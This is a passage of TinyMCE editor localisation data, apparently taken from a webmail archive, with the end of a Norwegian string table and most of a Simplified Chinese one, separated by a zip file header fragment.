"Characters (no spaces)": "Tegn (uten mellomrom)",
"{0} characters": "{0} tegn",
"Error: Form submit field collision.": "Feil: Skjemafelt innsendingskollisjon.",
"Error: No form element found.": "Feil: Intet skjemafelt funnet.",
"Update": "Oppdater",
"Color swatch": "Fargepalett",
"Turquoise": "Turkis",
"Green": "Gr\u00f8nn",
"Blue": "Bl\u00e5",
"Purple": "Lilla",
"Navy Blue": "Marinebl\u00e5",
"Dark Turquoise": "M\u00f8rk turkis",
"Dark Green": "M\u00f8rkegr\u00f8nn",
"Medium Blue": "Mellombl\u00e5",
"Medium Purple": "Medium lilla",
"Midnight Blue": "Midnattbl\u00e5",
"Yellow": "Gul",
"Orange": "Oransje",
"Red": "R\u00f8d",
"Light Gray": "Lys gr\u00e5",
"Gray": "Gr\u00e5",
"Dark Yellow": "M\u00f8rk gul",
"Dark Orange": "M\u00f8rk oransje",
"Dark Red": "M\u00f8rker\u00f8d",
"Medium Gray": "Medium gr\u00e5",
"Dark Gray": "M\u00f8rk gr\u00e5",
"Light Green": "Lys gr\u00f8nn",
"Light Yellow": "Lys gul",
"Light Red": "Lys r\u00f8d",
"Light Purple": "Lys lilla",
"Light Blue": "Lys bl\u00e5",
"Dark Purple": "M\u00f8rk lilla",
"Dark Blue": "M\u00f8rk bl\u00e5",
"Black": "Svart",
"White": "Hvit",
"Switch to or from fullscreen mode": "Bytt til eller fra fullskjermmodus",
"Open help dialog": "\u00c5pne hjelp-dialog",
"history": "historikk",
"styles": "stiler",
"formatting": "formatering",
"alignment": "justering",
"indentation": "innrykk",
"Font": "Skrift",
"Size": "St\u00f8rrelse",
"More...": "Mer...",
"Select...": "Velg...",
"Preferences": "Innstillinger",
"Yes": "Ja",
"No": "Nei",
"Keyboard Navigation": "Navigering med tastaturet",
"Version": "Versjon",
"Code view": "Kodevisning",
"Open popup menu for split buttons": "\u00c5pne sprettoppmeny for splitt-knapper",
"List Properties": "Listeegenskaper",
"List properties...": "Listeegenskaper ...",
"Start list at number": "Start liste p\u00e5 nummer",
"Line height": "Linjeh\u00f8yde",
"comments": "kommentarer",
"Format Painter": "Kopier format",
"Insert\/edit iframe": "Sett inn \/ rediger iframe",
"Capitalization": "Store\/sm\u00e5 bokstaver",
"lowercase": "sm\u00e5 bokstaver",
"UPPERCASE": "STORE BOKSTAVER",
"Title Case": "Tittelbokstav",
"permanent pen": "permanent penn",
"Permanent Pen Properties": "Permanente egenskaper for penn",
"Permanent pen properties...": "Permanente egenskaper for penn...",
"case change": "st\u00f8rrelseendring",
"page embed": "sideinnebygging",
"Advanced sort...": "Avansert sortering ...",
"Advanced Sort": "Avansert sortering",
"Sort table by column ascending": "Sorter tabell etter kolonne stigende",
"Sort table by column descending": "Sorter tabell etter kolonne synkende",
"Sort": "Sorter",
"Order": "Rekkef\u00f8lge",
"Sort by": "Sorter etter",
"Ascending": "Stigende",
"Descending": "Synkende",
"Column {0}": "Kolonne {0}",
"Row {0}": "Rad {0}",
"Spellcheck...": "Stavekontroll ...",
"Misspelled word": "Feilstavet ord",
"Suggestions": "Forslag",
"Change": "Endre",
"Finding word suggestions": "Finner ordforslag",
"Success": "Vellykket",
"Repair": "Reparer",
"Issue {0} of {1}": "Problem {0} av {1}",
"Images must be marked as decorative or have an alternative text description": "Bilder m\u00e5 markeres som dekorasjon eller ha en alternativ tekstbeskrivelse",
"Images must have an alternative text description. Decorative images are not allowed.": "Bilder m\u00e5 ha en alternativ tekstbeskrivelse. Dekorasjonbilder er ikke tillatt.",
"Or provide alternative text:": "Eller fyll inn en alternative tekst:",
"Make image decorative:": "Marker bilde som dekorasjon:",
"ID attribute must be unique": "'ID'-attributtet m\u00e5 v\u00e6re unikt",
"Make ID unique": "Gj\u00f8r 'ID' unik",
"Keep this ID and remove all others": "Behold denne 'ID'-en og fjern alle andre",
"Remove this ID": "Fjern denne 'ID'",
"Remove all IDs": "Fjern alle 'ID'-er",
"Checklist": "Avkryssingsliste",
"Anchor": "Anker",
"Special character": "Spesialtegn",
"Code sample": "Kodeeksempel",
"Color": "Farge",
"Document properties": "Dokumentegenskaper",
"Image description": "Bildebeskrivelse",
"Image": "Bilde",
"Insert link": "Sett inn lenke",
"Target": "M\u00e5l",
"Link": "Lenke",
"Poster": "Plakatbilde",
"Media": "Media",
"Print": "Skriv ut",
"Prev": "Forrige",
"Find and replace": "Finn og erstatt",
"Whole words": "Hele ord",
"Insert template": "Sett inn mal"
});PK
h�\s�c�SS!program/js/tinymce/langs/zh_CN.jsnu�[���tinymce.addI18n('zh_CN',{
"Redo": "\u91cd\u505a",
"Undo": "\u64a4\u9500",
"Cut": "\u526a\u5207",
"Copy": "\u590d\u5236",
"Paste": "\u7c98\u8d34",
"Select all": "\u5168\u9009",
"New document": "\u65b0\u6587\u4ef6",
"Ok": "\u786e\u5b9a",
"Cancel": "\u53d6\u6d88",
"Visual aids": "\u7f51\u683c\u7ebf",
"Bold": "\u7c97\u4f53",
"Italic": "\u659c\u4f53",
"Underline": "\u4e0b\u5212\u7ebf",
"Strikethrough": "\u5220\u9664\u7ebf",
"Superscript": "\u4e0a\u6807",
"Subscript": "\u4e0b\u6807",
"Clear formatting": "\u6e05\u9664\u683c\u5f0f",
"Align left": "\u5de6\u8fb9\u5bf9\u9f50",
"Align center": "\u4e2d\u95f4\u5bf9\u9f50",
"Align right": "\u53f3\u8fb9\u5bf9\u9f50",
"Justify": "\u4e24\u7aef\u5bf9\u9f50",
"Bullet list": "\u9879\u76ee\u7b26\u53f7",
"Numbered list": "\u7f16\u53f7\u5217\u8868",
"Decrease indent": "\u51cf\u5c11\u7f29\u8fdb",
"Increase indent": "\u589e\u52a0\u7f29\u8fdb",
"Close": "\u5173\u95ed",
"Formats": "\u683c\u5f0f",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u4f60\u7684\u6d4f\u89c8\u5668\u4e0d\u652f\u6301\u6253\u5f00\u526a\u8d34\u677f\uff0c\u8bf7\u4f7f\u7528Ctrl+X\/C\/V\u7b49\u5feb\u6377\u952e\u3002",
"Headers": "\u6807\u9898",
"Header 1": "\u6807\u98981",
"Header 2": "\u6807\u98982",
"Header 3": "\u6807\u98983",
"Header 4": "\u6807\u98984",
"Header 5": "\u6807\u98985",
"Header 6": "\u6807\u98986",
"Headings": "\u6807\u9898",
"Heading 1": "\u6807\u98981",
"Heading 2": "\u6807\u98982",
"Heading 3": "\u6807\u98983",
"Heading 4": "\u6807\u98984",
"Heading 5": "\u6807\u98985",
"Heading 6": "\u6807\u98986",
"Preformatted": "\u9884\u5148\u683c\u5f0f\u5316\u7684",
"Div": "Div",
"Pre": "Pre",
"Code": "\u4ee3\u7801",
"Paragraph": "\u6bb5\u843d",
"Blockquote": "\u5f15\u6587\u533a\u5757",
"Inline": "\u6587\u672c",
"Blocks": "\u57fa\u5757",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u5f53\u524d\u4e3a\u7eaf\u6587\u672c\u7c98\u8d34\u6a21\u5f0f\uff0c\u518d\u6b21\u70b9\u51fb\u53ef\u4ee5\u56de\u5230\u666e\u901a\u7c98\u8d34\u6a21\u5f0f\u3002",
"Fonts": "\u5b57\u4f53",
"Font Sizes": "\u5b57\u53f7",
"Class": "\u7c7b\u578b",
"Browse for an image": "\u6d4f\u89c8\u56fe\u50cf",
"OR": "\u6216",
"Drop an image here": "\u62d6\u653e\u4e00\u5f20\u56fe\u50cf\u81f3\u6b64",
"Upload": "\u4e0a\u4f20",
"Block": "\u5757",
"Align": "\u5bf9\u9f50",
"Default": "\u9ed8\u8ba4",
"Circle": "\u7a7a\u5fc3\u5706",
"Disc": "\u5b9e\u5fc3\u5706",
"Square": "\u65b9\u5757",
"Lower Alpha": "\u5c0f\u5199\u82f1\u6587\u5b57\u6bcd",
"Lower Greek": "\u5c0f\u5199\u5e0c\u814a\u5b57\u6bcd",
"Lower Roman": "\u5c0f\u5199\u7f57\u9a6c\u5b57\u6bcd",
"Upper Alpha": "\u5927\u5199\u82f1\u6587\u5b57\u6bcd",
"Upper Roman": "\u5927\u5199\u7f57\u9a6c\u5b57\u6bcd",
"Anchor...": "\u951a\u70b9...",
"Name": "\u540d\u79f0",
"Id": "\u6807\u8bc6\u7b26",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u6807\u8bc6\u7b26\u5e94\u8be5\u4ee5\u5b57\u6bcd\u5f00\u5934\uff0c\u540e\u8ddf\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u7834\u6298\u53f7\u3001\u70b9\u3001\u5192\u53f7\u6216\u4e0b\u5212\u7ebf\u3002",
"You have unsaved changes are you sure you want to navigate away?": "\u4f60\u8fd8\u6709\u6587\u6863\u5c1a\u672a\u4fdd\u5b58\uff0c\u786e\u5b9a\u8981\u79bb\u5f00\uff1f",
"Restore last draft": "\u6062\u590d\u4e0a\u6b21\u7684\u8349\u7a3f",
"Special character...": "\u7279\u6b8a\u5b57\u7b26...",
"Source code": "\u6e90\u4ee3\u7801",
"Insert\/Edit code sample": "\u63d2\u5165\/\u7f16\u8f91\u4ee3\u7801\u793a\u4f8b",
"Language": "\u8bed\u8a00",
"Code sample...": "\u793a\u4f8b\u4ee3\u7801...",
"Color Picker": "\u9009\u8272\u5668",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u4ece\u5de6\u5230\u53f3",
"Right to left": "\u4ece\u53f3\u5230\u5de6",
"Emoticons": "\u8868\u60c5",
"Emoticons...": "\u8868\u60c5\u7b26\u53f7...",
"Metadata and Document Properties": "\u5143\u6570\u636e\u548c\u6587\u6863\u5c5e\u6027",
"Title": "\u6807\u9898",
"Keywords": "\u5173\u952e\u8bcd",
"Description": "\u63cf\u8ff0",
"Robots": "\u673a\u5668\u4eba",
"Author": "\u4f5c\u8005",
"Encoding": "\u7f16\u7801",
"Fullscreen": "\u5168\u5c4f",
"Action": "\u64cd\u4f5c",
"Shortcut": "\u5feb\u6377\u952e",
"Help": "\u5e2e\u52a9",
"Address": "\u5730\u5740",
"Focus to menubar": "\u79fb\u52a8\u7126\u70b9\u5230\u83dc\u5355\u680f",
"Focus to toolbar": "\u79fb\u52a8\u7126\u70b9\u5230\u5de5\u5177\u680f",
"Focus to element path": "\u79fb\u52a8\u7126\u70b9\u5230\u5143\u7d20\u8def\u5f84",
"Focus to contextual toolbar": "\u79fb\u52a8\u7126\u70b9\u5230\u4e0a\u4e0b\u6587\u83dc\u5355",
"Insert link (if link plugin activated)": "\u63d2\u5165\u94fe\u63a5 (\u5982\u679c\u94fe\u63a5\u63d2\u4ef6\u5df2\u6fc0\u6d3b)",
"Save (if save plugin activated)": "\u4fdd\u5b58(\u5982\u679c\u4fdd\u5b58\u63d2\u4ef6\u5df2\u6fc0\u6d3b)",
"Find (if searchreplace plugin activated)": "\u67e5\u627e(\u5982\u679c\u67e5\u627e\u66ff\u6362\u63d2\u4ef6\u5df2\u6fc0\u6d3b)",
"Plugins installed ({0}):": "\u5df2\u5b89\u88c5\u63d2\u4ef6 ({0}):",
"Premium plugins:": "\u4f18\u79c0\u63d2\u4ef6\uff1a",
"Learn more...": "\u4e86\u89e3\u66f4\u591a...",
"You are using {0}": "\u4f60\u6b63\u5728\u4f7f\u7528 {0}",
"Plugins": "\u63d2\u4ef6",
"Handy Shortcuts": "\u5feb\u6377\u952e",
"Horizontal line": "\u6c34\u5e73\u5206\u5272\u7ebf",
"Insert\/edit image": "\u63d2\u5165\/\u7f16\u8f91\u56fe\u7247",
"Alternative description": "\u66ff\u4ee3\u63cf\u8ff0",
"Accessibility": "\u8f85\u52a9\u529f\u80fd",
"Image is decorative": "\u56fe\u50cf\u662f\u88c5\u9970\u6027\u7684",
"Source": "\u5730\u5740",
"Dimensions": "\u5927\u5c0f",
"Constrain proportions": "\u4fdd\u6301\u7eb5\u6a2a\u6bd4",
"General": "\u666e\u901a",
"Advanced": "\u9ad8\u7ea7",
"Style": "\u6837\u5f0f",
"Vertical space": "\u5782\u76f4\u8fb9\u8ddd",
"Horizontal space": "\u6c34\u5e73\u8fb9\u8ddd",
"Border": "\u8fb9\u6846",
"Insert image": "\u63d2\u5165\u56fe\u7247",
"Image...": "\u56fe\u7247...",
"Image list": "\u56fe\u7247\u5217\u8868",
"Rotate counterclockwise": "\u9006\u65f6\u9488\u65cb\u8f6c",
"Rotate clockwise": "\u987a\u65f6\u9488\u65cb\u8f6c",
"Flip vertically": "\u5782\u76f4\u7ffb\u8f6c",
"Flip horizontally": "\u6c34\u5e73\u7ffb\u8f6c",
"Edit image": "\u7f16\u8f91\u56fe\u7247",
"Image options": "\u56fe\u7247\u9009\u9879",
"Zoom in": "\u653e\u5927",
"Zoom out": "\u7f29\u5c0f",
"Crop": "\u88c1\u526a",
"Resize": "\u8c03\u6574\u5927\u5c0f",
"Orientation": "\u65b9\u5411",
"Brightness": "\u4eae\u5ea6",
"Sharpen": "\u9510\u5316",
"Contrast": "\u5bf9\u6bd4\u5ea6",
"Color levels": "\u989c\u8272\u5c42\u6b21",
"Gamma": "\u4f3d\u9a6c\u503c",
"Invert": "\u53cd\u8f6c",
"Apply": "\u5e94\u7528",
"Back": "\u540e\u9000",
"Insert date\/time": "\u63d2\u5165\u65e5\u671f\/\u65f6\u95f4",
"Date\/time": "\u65e5\u671f\/\u65f6\u95f4",
"Insert\/edit link": "\u63d2\u5165\/\u7f16\u8f91\u94fe\u63a5",
"Text to display": "\u663e\u793a\u6587\u5b57",
"Url": "\u5730\u5740",
"Open link in...": "\u94fe\u63a5\u6253\u5f00\u4f4d\u7f6e...",
"Current window": "\u5f53\u524d\u7a97\u53e3",
"None": "\u65e0",
"New window": "\u5728\u65b0\u7a97\u53e3\u6253\u5f00",
"Open link": "\u6253\u5f00\u94fe\u63a5",
"Remove link": "\u5220\u9664\u94fe\u63a5",
"Anchors": "\u951a\u70b9",
"Link...": "\u94fe\u63a5...",
"Paste or type a link": "\u7c98\u8d34\u6216\u8f93\u5165\u94fe\u63a5",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u4f60\u6240\u586b\u5199\u7684URL\u5730\u5740\u4e3a\u90ae\u4ef6\u5730\u5740\uff0c\u9700\u8981\u52a0\u4e0amailto:\u524d\u7f00\u5417\uff1f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u4f60\u6240\u586b\u5199\u7684URL\u5730\u5740\u5c5e\u4e8e\u5916\u90e8\u94fe\u63a5\uff0c\u9700\u8981\u52a0\u4e0ahttp:\/\/:\u524d\u7f00\u5417\uff1f",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u60a8\u8f93\u5165\u7684 URL \u4f3c\u4e4e\u662f\u4e00\u4e2a\u5916\u90e8\u94fe\u63a5\u3002\u60a8\u60f3\u6dfb\u52a0\u6240\u9700\u7684 https:\/\/ \u524d\u7f00\u5417\uff1f",
"Link list": "\u94fe\u63a5\u5217\u8868",
"Insert video": "\u63d2\u5165\u89c6\u9891",
"Insert\/edit video": "\u63d2\u5165\/\u7f16\u8f91\u89c6\u9891",
"Insert\/edit media": "\u63d2\u5165\/\u7f16\u8f91\u5a92\u4f53",
"Alternative source": "\u955c\u50cf",
"Alternative source URL": "\u66ff\u4ee3\u6765\u6e90\u7f51\u5740",
"Media poster (Image URL)": "\u5c01\u9762(\u56fe\u7247\u5730\u5740)",
"Paste your embed code below:": "\u5c06\u5185\u5d4c\u4ee3\u7801\u7c98\u8d34\u5728\u4e0b\u9762:",
"Embed": "\u5185\u5d4c",
"Media...": "\u591a\u5a92\u4f53...",
"Nonbreaking space": "\u4e0d\u95f4\u65ad\u7a7a\u683c",
"Page break": "\u5206\u9875\u7b26",
"Paste as text": "\u7c98\u8d34\u4e3a\u6587\u672c",
"Preview": "\u9884\u89c8",
"Print...": "\u6253\u5370...",
"Save": "\u4fdd\u5b58",
"Find": "\u67e5\u627e",
"Replace with": "\u66ff\u6362\u4e3a",
"Replace": "\u66ff\u6362",
"Replace all": "\u5168\u90e8\u66ff\u6362",
"Previous": "\u4e0a\u4e00\u4e2a",
"Next": "\u4e0b\u4e00\u4e2a",
"Find and Replace": "\u67e5\u627e\u548c\u66ff\u6362",
"Find and replace...": "\u67e5\u627e\u5e76\u66ff\u6362...",
"Could not find the specified string.": "\u672a\u627e\u5230\u641c\u7d22\u5185\u5bb9.",
"Match case": "\u533a\u5206\u5927\u5c0f\u5199",
"Find whole words only": "\u5168\u5b57\u5339\u914d",
"Find in selection": "\u5728\u9009\u533a\u4e2d\u67e5\u627e",
"Spellcheck": "\u62fc\u5199\u68c0\u67e5",
"Spellcheck Language": "\u62fc\u5199\u68c0\u67e5\u8bed\u8a00",
"No misspellings found.": "\u6ca1\u6709\u53d1\u73b0\u62fc\u5199\u9519\u8bef",
"Ignore": "\u5ffd\u7565",
"Ignore all": "\u5168\u90e8\u5ffd\u7565",
"Finish": "\u5b8c\u6210",
"Add to Dictionary": "\u6dfb\u52a0\u5230\u5b57\u5178",
"Insert table": "\u63d2\u5165\u8868\u683c",
"Table properties": "\u8868\u683c\u5c5e\u6027",
"Delete table": "\u5220\u9664\u8868\u683c",
"Cell": "\u5355\u5143\u683c",
"Row": "\u884c",
"Column": "\u5217",
"Cell properties": "\u5355\u5143\u683c\u5c5e\u6027",
"Merge cells": "\u5408\u5e76\u5355\u5143\u683c",
"Split cell": "\u62c6\u5206\u5355\u5143\u683c",
"Insert row before": "\u5728\u4e0a\u65b9\u63d2\u5165",
"Insert row after": "\u5728\u4e0b\u65b9\u63d2\u5165",
"Delete row": "\u5220\u9664\u884c",
"Row properties": "\u884c\u5c5e\u6027",
"Cut row": "\u526a\u5207\u884c",
"Copy row": "\u590d\u5236\u884c",
"Paste row before": "\u7c98\u8d34\u5230\u4e0a\u65b9",
"Paste row after": "\u7c98\u8d34\u5230\u4e0b\u65b9",
"Insert column before": "\u5728\u5de6\u4fa7\u63d2\u5165",
"Insert column after": "\u5728\u53f3\u4fa7\u63d2\u5165",
"Delete column": "\u5220\u9664\u5217",
"Cols": "\u5217",
"Rows": "\u884c",
"Width": "\u5bbd",
"Height": "\u9ad8",
"Cell spacing": "\u5355\u5143\u683c\u5916\u95f4\u8ddd",
"Cell padding": "\u5355\u5143\u683c\u5185\u8fb9\u8ddd",
"Caption": "\u6807\u9898",
"Show caption": "\u663e\u793a\u6807\u9898",
"Left": "\u5de6\u5bf9\u9f50",
"Center": "\u5c45\u4e2d",
"Right": "\u53f3\u5bf9\u9f50",
"Cell type": "\u5355\u5143\u683c\u7c7b\u578b",
"Scope": "\u8303\u56f4",
"Alignment": "\u5bf9\u9f50\u65b9\u5f0f",
"H Align": "\u6c34\u5e73\u5bf9\u9f50",
"V Align": "\u5782\u76f4\u5bf9\u9f50",
"Top": "\u9876\u90e8\u5bf9\u9f50",
"Middle": "\u5782\u76f4\u5c45\u4e2d",
"Bottom": "\u5e95\u90e8\u5bf9\u9f50",
"Header cell": "\u8868\u5934\u5355\u5143\u683c",
"Row group": "\u884c\u7ec4",
"Column group": "\u5217\u7ec4",
"Row type": "\u884c\u7c7b\u578b",
"Header": "\u8868\u5934",
"Body": "\u8868\u4f53",
"Footer": "\u8868\u5c3e",
"Border color": "\u8fb9\u6846\u989c\u8272",
"Insert template...": "\u63d2\u5165\u6a21\u677f...",
"Templates": "\u6a21\u677f",
"Template": "\u6a21\u677f",
"Text color": "\u6587\u5b57\u989c\u8272",
"Background color": "\u80cc\u666f\u8272",
"Custom...": "\u81ea\u5b9a\u4e49...",
"Custom color": "\u81ea\u5b9a\u4e49\u989c\u8272",
"No color": "\u65e0",
"Remove color": "\u79fb\u9664\u989c\u8272",
"Table of Contents": "\u5185\u5bb9\u5217\u8868",
"Show blocks": "\u663e\u793a\u533a\u5757\u8fb9\u6846",
"Show invisible characters": "\u663e\u793a\u4e0d\u53ef\u89c1\u5b57\u7b26",
"Word count": "\u5b57\u6570",
"Count": "\u8ba1\u6570",
"Document": "\u6587\u6863",
"Selection": "\u9009\u62e9",
"Words": "\u5355\u8bcd",
"Words: {0}": "\u5b57\u6570\uff1a{0}",
"{0} words": "{0} \u5b57",
"File": "\u6587\u4ef6",
"Edit": "\u7f16\u8f91",
"Insert": "\u63d2\u5165",
"View": "\u89c6\u56fe",
"Format": "\u683c\u5f0f",
"Table": "\u8868\u683c",
"Tools": "\u5de5\u5177",
"Powered by {0}": "\u7531{0}\u9a71\u52a8",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u5728\u7f16\u8f91\u533a\u6309ALT-F9\u6253\u5f00\u83dc\u5355\uff0c\u6309ALT-F10\u6253\u5f00\u5de5\u5177\u680f\uff0c\u6309ALT-0\u67e5\u770b\u5e2e\u52a9",
"Image title": "\u56fe\u7247\u6807\u9898",
"Border width": "\u8fb9\u6846\u5bbd\u5ea6",
"Border style": "\u8fb9\u6846\u6837\u5f0f",
"Error": "\u9519\u8bef",
"Warn": "\u8b66\u544a",
"Valid": "\u6709\u6548",
"To open the popup, press Shift+Enter": "\u6309Shitf+Enter\u952e\u6253\u5f00\u5bf9\u8bdd\u6846",
"Rich Text Area. Press ALT-0 for help.": "\u7f16\u8f91\u533a\u3002\u6309Alt+0\u952e\u6253\u5f00\u5e2e\u52a9\u3002",
"System Font": "\u7cfb\u7edf\u5b57\u4f53",
"Failed to upload image: {0}": "\u56fe\u7247\u4e0a\u4f20\u5931\u8d25: {0}",
"Failed to load plugin: {0} from url {1}": "\u63d2\u4ef6\u52a0\u8f7d\u5931\u8d25: {0} \u6765\u81ea\u94fe\u63a5 {1}",
"Failed to load plugin url: {0}": "\u63d2\u4ef6\u52a0\u8f7d\u5931\u8d25 \u94fe\u63a5: {0}",
"Failed to initialize plugin: {0}": "\u63d2\u4ef6\u521d\u59cb\u5316\u5931\u8d25: {0}",
"example": "\u793a\u4f8b",
"Search": "\u641c\u7d22",
"All": "\u5168\u90e8",
"Currency": "\u8d27\u5e01",
"Text": "\u6587\u5b57",
"Quotations": "\u5f15\u7528",
"Mathematical": "\u6570\u5b66",
"Extended Latin": "\u62c9\u4e01\u8bed\u6269\u5145",
"Symbols": "\u7b26\u53f7",
"Arrows": "\u7bad\u5934",
"User Defined": "\u81ea\u5b9a\u4e49",
"dollar sign": "\u7f8e\u5143\u7b26\u53f7",
"currency sign": "\u8d27\u5e01\u7b26\u53f7",
"euro-currency sign": "\u6b27\u5143\u7b26\u53f7",
"colon sign": "\u5192\u53f7",
"cruzeiro sign": "\u514b\u9c81\u8d5b\u7f57\u5e01\u7b26\u53f7",
"french franc sign": "\u6cd5\u90ce\u7b26\u53f7",
"lira sign": "\u91cc\u62c9\u7b26\u53f7",
"mill sign": "\u5bc6\u5c14\u7b26\u53f7",
"naira sign": "\u5948\u62c9\u7b26\u53f7",
"peseta sign": "\u6bd4\u585e\u5854\u7b26\u53f7",
"rupee sign": "\u5362\u6bd4\u7b26\u53f7",
"won sign": "\u97e9\u5143\u7b26\u53f7",
"new sheqel sign": "\u65b0\u8c22\u514b\u5c14\u7b26\u53f7",
"dong sign": "\u8d8a\u5357\u76fe\u7b26\u53f7",
"kip sign": "\u8001\u631d\u57fa\u666e\u7b26\u53f7",
"tugrik sign": "\u56fe\u683c\u91cc\u514b\u7b26\u53f7",
"drachma sign": "\u5fb7\u62c9\u514b\u9a6c\u7b26\u53f7",
"german penny symbol": "\u5fb7\u56fd\u4fbf\u58eb\u7b26\u53f7",
"peso sign": "\u6bd4\u7d22\u7b26\u53f7",
"guarani sign": "\u74dc\u62c9\u5c3c\u7b26\u53f7",
"austral sign": "\u6fb3\u5143\u7b26\u53f7",
"hryvnia sign": "\u683c\u91cc\u592b\u5c3c\u4e9a\u7b26\u53f7",
"cedi sign": "\u585e\u5730\u7b26\u53f7",
"livre tournois sign": "\u91cc\u5f17\u5f17\u5c14\u7b26\u53f7",
"spesmilo sign": "spesmilo\u7b26\u53f7",
"tenge sign": "\u575a\u6208\u7b26\u53f7",
"indian rupee sign": "\u5370\u5ea6\u5362\u6bd4",
"turkish lira sign": "\u571f\u8033\u5176\u91cc\u62c9",
"nordic mark sign": "\u5317\u6b27\u9a6c\u514b",
"manat sign": "\u9a6c\u7eb3\u7279\u7b26\u53f7",
"ruble sign": "\u5362\u5e03\u7b26\u53f7",
"yen character": "\u65e5\u5143\u5b57\u6837",
"yuan character": "\u4eba\u6c11\u5e01\u5143\u5b57\u6837",
"yuan character, in hong kong and taiwan": "\u5143\u5b57\u6837\uff08\u6e2f\u53f0\u5730\u533a\uff09",
"yen\/yuan character variant one": "\u5143\u5b57\u6837\uff08\u5927\u5199\uff09",
"Loading emoticons...": "\u52a0\u8f7d\u8868\u60c5\u7b26\u53f7...",
"Could not load emoticons": "\u4e0d\u80fd\u52a0\u8f7d\u8868\u60c5\u7b26\u53f7",
"People": "\u4eba\u7c7b",
"Animals and Nature": "\u52a8\u7269\u548c\u81ea\u7136",
"Food and Drink": "\u98df\u7269\u548c\u996e\u54c1",
"Activity": "\u6d3b\u52a8",
"Travel and Places": "\u65c5\u6e38\u548c\u5730\u70b9",
"Objects": "\u7269\u4ef6",
"Flags": "\u65d7\u5e1c",
"Characters": "\u5b57\u7b26",
"Characters (no spaces)": "\u5b57\u7b26(\u65e0\u7a7a\u683c)",
"{0} characters": "{0} \u4e2a\u5b57\u7b26",
"Error: Form submit field collision.": "\u9519\u8bef: \u8868\u5355\u63d0\u4ea4\u5b57\u6bb5\u51b2\u7a81\u3002",
"Error: No form element found.": "\u9519\u8bef: \u6ca1\u6709\u8868\u5355\u63a7\u4ef6\u3002",
"Update": "\u66f4\u65b0",
"Color swatch": "\u989c\u8272\u6837\u672c",
"Turquoise": "\u9752\u7eff\u8272",
"Green": "\u7eff\u8272",
"Blue": "\u84dd\u8272",
"Purple": "\u7d2b\u8272",
"Navy Blue": "\u6d77\u519b\u84dd",
"Dark Turquoise": "\u6df1\u84dd\u7eff\u8272",
"Dark Green": "\u6df1\u7eff\u8272",
"Medium Blue": "\u4e2d\u84dd\u8272",
"Medium Purple": "\u4e2d\u7d2b\u8272",
"Midnight Blue": "\u6df1\u84dd\u8272",
"Yellow": "\u9ec4\u8272",
"Orange": "\u6a59\u8272",
"Red": "\u7ea2\u8272",
"Light Gray": "\u6d45\u7070\u8272",
"Gray": "\u7070\u8272",
"Dark Yellow": "\u6697\u9ec4\u8272",
"Dark Orange": "\u6df1\u6a59\u8272",
"Dark Red": "\u6df1\u7ea2\u8272",
"Medium Gray": "\u4e2d\u7070\u8272",
"Dark Gray": "\u6df1\u7070\u8272",
"Light Green": "\u6d45\u7eff\u8272",
"Light Yellow": "\u6d45\u9ec4\u8272",
"Light Red": "\u6d45\u7ea2\u8272",
"Light Purple": "\u6d45\u7d2b\u8272",
"Light Blue": "\u6d45\u84dd\u8272",
"Dark Purple": "\u6df1\u7d2b\u8272",
"Dark Blue": "\u6df1\u84dd\u8272",
"Black": "\u9ed1\u8272",
"White": "\u767d\u8272",
"Switch to or from fullscreen mode": "\u5207\u6362\u5168\u5c4f\u6a21\u5f0f",
"Open help dialog": "\u6253\u5f00\u5e2e\u52a9\u5bf9\u8bdd\u6846",
"history": "\u5386\u53f2",
"styles": "\u6837\u5f0f",
"formatting": "\u683c\u5f0f\u5316",
"alignment": "\u5bf9\u9f50",
"indentation": "\u7f29\u8fdb",
"Font": "\u5b57\u4f53",
"Size": "\u5b57\u53f7",
"More...": "\u66f4\u591a...",
"Select...": "\u9009\u62e9...",
"Preferences": "\u9996\u9009\u9879",
"Yes": "\u662f",
"No": "\u5426",
"Keyboard Navigation": "\u952e\u76d8\u6307\u5f15",
"Version": "\u7248\u672c",
"Code view": "\u4ee3\u7801\u89c6\u56fe",
"Open popup menu for split buttons": "\u6253\u5f00\u5f39\u51fa\u5f0f\u83dc\u5355\uff0c\u7528\u4e8e\u62c6\u5206\u6309\u94ae",
"List Properties": "\u5217\u8868\u5c5e\u6027",
"List properties...": "\u6807\u9898\u5b57\u4f53\u5c5e\u6027",
"Start list at number": "\u4ee5\u6570\u5b57\u5f00\u59cb\u5217\u8868",
"Line height": "\u884c\u9ad8",
"comments": "\u5907\u6ce8",
"Format Painter": "\u683c\u5f0f\u5237",
"Insert\/edit iframe": "\u63d2\u5165\/\u7f16\u8f91\u6846\u67b6",
"Capitalization": "\u5927\u5199",
"lowercase": "\u5c0f\u5199",
"UPPERCASE": "\u5927\u5199",
"Title Case": "\u9996\u5b57\u6bcd\u5927\u5199",
"permanent pen": "\u8bb0\u53f7\u7b14",
"Permanent Pen Properties": "\u6c38\u4e45\u7b14\u5c5e\u6027",
"Permanent pen properties...": "\u6c38\u4e45\u7b14\u5c5e\u6027...",
"case change": "\u6848\u4f8b\u66f4\u6539",
"page embed": "\u9875\u9762\u5d4c\u5165",
"Advanced sort...": "\u9ad8\u7ea7\u6392\u5e8f...",
"Advanced Sort": "\u9ad8\u7ea7\u6392\u5e8f",
"Sort table by column ascending": "\u6309\u5217\u5347\u5e8f\u8868",
"Sort table by column descending": "\u6309\u5217\u964d\u5e8f\u8868",
"Sort": "\u6392\u5e8f",
"Order": "\u6392\u5e8f",
"Sort by": "\u6392\u5e8f\u65b9\u5f0f",
"Ascending": "\u5347\u5e8f",
"Descending": "\u964d\u5e8f",
"Column {0}": "\u5217{0}",
"Row {0}": "\u884c{0}",
"Spellcheck...": "\u62fc\u5199\u68c0\u67e5...",
"Misspelled word": "\u62fc\u5199\u9519\u8bef\u7684\u5355\u8bcd",
"Suggestions": "\u5efa\u8bae",
"Change": "\u66f4\u6539",
"Finding word suggestions": "\u67e5\u627e\u5355\u8bcd\u5efa\u8bae",
"Success": "\u6210\u529f",
